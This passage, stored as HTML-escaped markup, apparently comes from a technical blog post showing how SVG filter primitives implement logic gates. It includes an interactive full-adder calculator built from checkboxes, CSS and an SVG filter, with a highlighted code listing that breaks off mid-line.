in2=b /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;filter id=&#34;logic-xor&#34;&gt;&#xA;&lt;!-- util --&gt;&#xA;&lt;feTile x=&#34;25%&#34; y=&#34;50%&#34; width=&#34;4&#34; height=&#34;4&#34; /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=a /&gt;&#xA;&lt;feTile x=&#34;75%&#34; y=&#34;50%&#34; width=&#34;4&#34; height=&#34;4&#34; in=SourceGraphic /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=b /&gt;&#xA;&lt;!-- logic --&gt;&#xA;&lt;feBlend mode=difference in=a in2=b /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;/svg&gt;&lt;/p&gt;&#xA;&lt;p&gt;These logic gates are what modern computers are made of. You could build a computer within an SVG filter if you wanted to. In fact, here&amp;rsquo;s a basic calculator I made:&lt;/p&gt;&#xA;&lt;div id=&#34;calculator-outer&#34;&gt;&#xD;&#xA;  &lt;div id=&#34;calculator-box&#34;&gt;&#xD;&#xA;    &lt;p&gt;SVG Adder&lt;/p&gt;&#xD;&#xA;    &lt;div style=&#34;display:flex&#34;&gt;&#xD;&#xA;      &lt;div style=&#34;position:relative;height:256px;display:flex;flex-direction:column;justify-content:space-around;margin:32px 12px 0 4px&#34;&gt;&#xD;&#xA;        &lt;div style=&#34;position:absolute;top:-30px;left:1px;letter-spacing:-3px;color:#0004;text-shadow:1px 1px 0 #FFF5;font-size:1.5em;user-select:none;&#34;&gt;:3&lt;/div&gt;&#xD;&#xA;        &lt;span&gt;1&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt;32&lt;/span&gt;&lt;span&gt;64&lt;/span&gt;&lt;span&gt;128&lt;/span&gt;&#xD;&#xA;      &lt;/div&gt;&#xD;&#xA;      &lt;div&gt;&#xD;&#xA;        &lt;div id=&#34;calculator-legend&#34; style=&#34;height:32px&#34;&gt;&#xD;&#xA;          &lt;span&gt;In A&lt;/span&gt;&#xD;&#xA;          &lt;span&gt;In B&lt;/span&gt;&#xD;&#xA;          &lt;span&gt;Carry&lt;/span&gt;&#xD;&#xA;          &lt;span&gt;Out&lt;/span&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;position:relative&#34;&gt;&#xD;&#xA;          &lt;div id=&#34;calculator-adder&#34; class=&#34;force-visibility&#34; style=&#34;height:256px;width:128px;background:#000;cursor:not-allowed&#34;&gt;&#xD;&#xA;            &lt;!-- Note: The reason I&#39;m putting multiple divs here instead of a single filter is that otherwise it breaks in firefox. --&gt;&#xD;&#xA;            &lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&#xD;&#xA;              &lt;div&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;              &lt;div&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;              &lt;div&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;              &lt;div&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;              &lt;div&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;              &lt;div&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;              &lt;div&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;              &lt;div&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;label&gt;&lt;input type=checkbox&gt;&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;          &lt;/div&gt;&#xD;&#xA;          &lt;div style=&#34;inset:0;position:absolute;box-shadow:0 0 8px inset #0004, 0 0 0 256px inset #CCC4;pointer-events:none&#34;&gt;&lt;/div&gt;&#xD;&#xA;          &lt;div style=&#34;inset:0 25% 0 calc(50% + 1px);position:absolute;background:#0002;pointer-events:none&#34;&gt;&lt;/div&gt;&#xD;&#xA;          &lt;div style=&#34;inset:0;position:absolute;background:linear-gradient(0deg,#000 1px, #0000 1px), linear-gradient(90deg,#000 1px, #0000 1px);opacity:0.2;background-size: 32px 32px, 32px 32px;clip-path:rect(0px 100% calc(100% - 1px) 1px);pointer-events:none&#34;&gt;&lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;      &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;  &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;style type=&#34;text/css&#34;&gt;&#xD;&#xA;  #calculator-box {&#xD;&#xA;    display: flex;&#xD;&#xA;    flex-direction:column;&#xD;&#xA;    font-family: var(--font-code);&#xD;&#xA;    border: 1px outset #EEE;&#xD;&#xA;    background: #C0C0C0;&#xD;&#xA;    color: #000;&#xD;&#xA;    font-weight: 600;&#xD;&#xA;    padding: 6px;&#xD;&#xA;    margin: 4px;&#xD;&#xA;    text-align: center;&#xD;&#xA;  }&#xD;&#xA;  #calculator-adder {&#xD;&#xA;    position: relative;&#xD;&#xA;    input-value {&#xD;&#xA;      display:block;&#xD;&#xA;      --a:#000;&#xD;&#xA;      --b:#000;&#xD;&#xA;      background: linear-gradient(90deg,var(--a) 50%,var(--b) 50%);&#xD;&#xA;      &amp;[a]{--a:#FFF;}&#xD;&#xA;      &amp;[b]{--b:#FFF;}&#xD;&#xA;      width:64px;height:32px;&#xD;&#xA;    }&#xD;&#xA;    &amp;,div:has(&gt;label) {&#xD;&#xA;      display:flex;&#xD;&#xA;    }&#xD;&#xA;    div:not(:has(&gt;label)) {&#xD;&#xA;      background:#000;&#xD;&#xA;      filter:url(#adder);&#xD;&#xA;      flex:1;&#xD;&#xA;    }&#xD;&#xA;    label {&#xD;&#xA;      display: inline-block;&#xD;&#xA;      width:32px;&#xD;&#xA;      height:32px;&#xD;&#xA;      cursor: pointer;&#xD;&#xA;      background: #000;&#xD;&#xA;      &amp;:has(input:checked) {&#xD;&#xA;        background: #FFF;&#xD;&#xA;      }&#xD;&#xA;      input {&#xD;&#xA;        opacity: 0;&#xD;&#xA;        position: absolute;&#xD;&#xA;        pointer-events: none;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  #calculator-legend {&#xD;&#xA;    display: flex;&#xD;&#xA;    justify-content: space-around;&#xD;&#xA;    span {&#xD;&#xA;      writing-mode: vertical-rl;&#xD;&#xA;      text-orientation: mixed;&#xD;&#xA;      white-space: pre;&#xD;&#xA;      display: block;&#xD;&#xA;      rotate: -45deg;&#xD;&#xA;      font-size: 70%;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;&lt;svg&#xD;&#xA;class=&#34;effect&#34;&#xD;&#xA;width=&#34;128&#34;&#xD;&#xA;height=&#34;256&#34;&#xD;&#xA;viewBox=&#34;0 0 128 256&#34;&#xD;&#xA;xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xA;&lt;filter id=&#34;adder&#34;&gt;&#xA;&lt;!-- util --&gt;&#xA;&lt;feOffset in=&#34;SourceGraphic&#34; dx=&#34;0&#34; dy=&#34;0&#34; result=src /&gt;&#xA;&lt;feTile x=&#34;16px&#34; y=&#34;16px&#34; width=&#34;4&#34; height=&#34;4&#34; in=src /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=a /&gt;&#xA;&lt;feTile x=&#34;48px&#34; y=&#34;16px&#34; width=&#34;4&#34; height=&#34;4&#34; in=src /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=b /&gt;&#xA;&lt;feTile x=&#34;72px&#34; y=&#34;16px&#34; width=&#34;4&#34; height=&#34;4&#34; in=src /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=c /&gt;&#xA;&lt;feFlood flood-color=#FFF result=white /&gt;&#xA;&lt;!-- A ⊕ B --&gt;&#xA;&lt;feBlend mode=difference in=a in2=b result=ab /&gt;&#xA;&lt;!-- [A ⊕ B] ⊕ C --&gt;&#xA;&lt;feBlend mode=difference in2=c /&gt;&#xA;&lt;!-- Save result to &#39;out&#39; --&gt;&#xA;&lt;feTile x=&#34;96px&#34; y=&#34;0px&#34; width=&#34;32&#34; height=&#34;32&#34; result=out /&gt;&#xA;&lt;!-- C ∧ [A ⊕ B] --&gt;&#xA;&lt;feComposite operator=arithmetic k1=1 in=ab in2=c result=abc /&gt;&#xA;&lt;!-- (A ∧ B) --&gt;&#xA;&lt;feComposite operator=arithmetic k1=1 in=a in2=b /&gt;&#xA;&lt;!-- [A ∧ B] ∨ [C ∧ (A ⊕ B)] --&gt;&#xA;&lt;feComposite operator=arithmetic k2=1 k3=1 in2=abc /&gt;&#xA;&lt;!-- Save result to &#39;carry&#39; --&gt;&#xA;&lt;feTile x=&#34;64px&#34; y=&#34;32px&#34; width=&#34;32&#34; height=&#34;32&#34; result=carry /&gt;&#xA;&lt;!-- Combine results --&gt;&#xA;&lt;feBlend in2=out /&gt;&#xA;&lt;feBlend in2=src result=done /&gt;&#xA;&lt;!-- Shift first row to last --&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;32&#34; /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=lastrow /&gt;&#xA;&lt;feOffset dx=&#34;0&#34; dy=&#34;-32&#34; in=done /&gt;&#xA;&lt;feBlend in2=lastrow /&gt;&#xA;&lt;!-- Crop to output --&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;128px&#34; height=&#34;256px&#34; /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;/svg&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a &lt;a href=&#34;https://en.wikipedia.org/wiki/Adder_%28electronics%29#Full_adder&#34;&gt;full adder&lt;/a&gt; circuit. This filter implements the logic gates &lt;math&gt;&lt;mi&gt;S&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mo&gt;⊕&lt;/mo&gt;&lt;mi&gt;B&lt;/mi&gt;&lt;mo&gt;⊕&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;C&lt;/mi&gt;&lt;mi&gt;in&lt;/mi&gt;&lt;/msub&gt;&lt;/math&gt; for the output and &lt;math&gt;&lt;msub&gt;&lt;mi&gt;C&lt;/mi&gt;&lt;mi&gt;out&lt;/mi&gt;&lt;/msub&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mrow&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mo&gt;∧&lt;/mo&gt;&lt;mi&gt;B&lt;/mi&gt;&lt;mo&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mo&gt;∨&lt;/mo&gt;&lt;mrow&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;C&lt;/mi&gt;&lt;mi&gt;in&lt;/mi&gt;&lt;/msub&gt;&lt;mo&gt;∧&lt;/mo&gt;&lt;mrow&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mo&gt;⊕&lt;/mo&gt;&lt;mi&gt;B&lt;/mi&gt;&lt;mo&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;mo&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;/math&gt; for the carry bit using the logic gates described above. There are more efficient ways to implement an adder in SVG filters, but this is meant to serve as proof of the ability to implement arbitrary logic circuits.&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block sx-full&#34;&gt;&lt;code&gt;&lt;sx-c&gt;&amp;lt;!-- util --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feOffset&lt;/sx-t&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;SourceGraphic&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;dx&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;dy&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;src&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;16px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;16px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;src&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;a&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;48px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;16px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;src&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;b&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;72px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;16px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;src&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;c&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feFlood&lt;/sx-t&gt; &lt;sx-r&gt;flood-color&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;#FFF&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;white&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- A ⊕ B --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;mode&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;difference&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;a&lt;/sx-v&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;b&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;ab&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- [A ⊕ B] ⊕ C --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;mode&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;difference&lt;/sx-v&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;c&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- Save result to &amp;#39;out&amp;#39; --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;96px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;32&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;32&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;out&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- C ∧ [A ⊕ B] --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt; &lt;sx-r&gt;k1&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;1&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;ab&lt;/sx-v&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;c&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;abc&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- (A ∧ B) --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt; &lt;sx-r&gt;k1&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;1&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;a&lt;/sx-v&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;b&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- [A ∧ B] ∨ [C ∧ (A ⊕ B)] --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt; &lt;sx-r&gt;k2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;1&lt;/sx-v&gt; &lt;sx-r&gt;k3&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;1&lt;/sx-v&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;abc&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- Save result to &amp;#39;carry&amp;#39; --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;64px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;32px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;32&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;32&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;carry&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- Combine results --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;out&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;src&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;done&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- Shift first row to last --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;32&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; 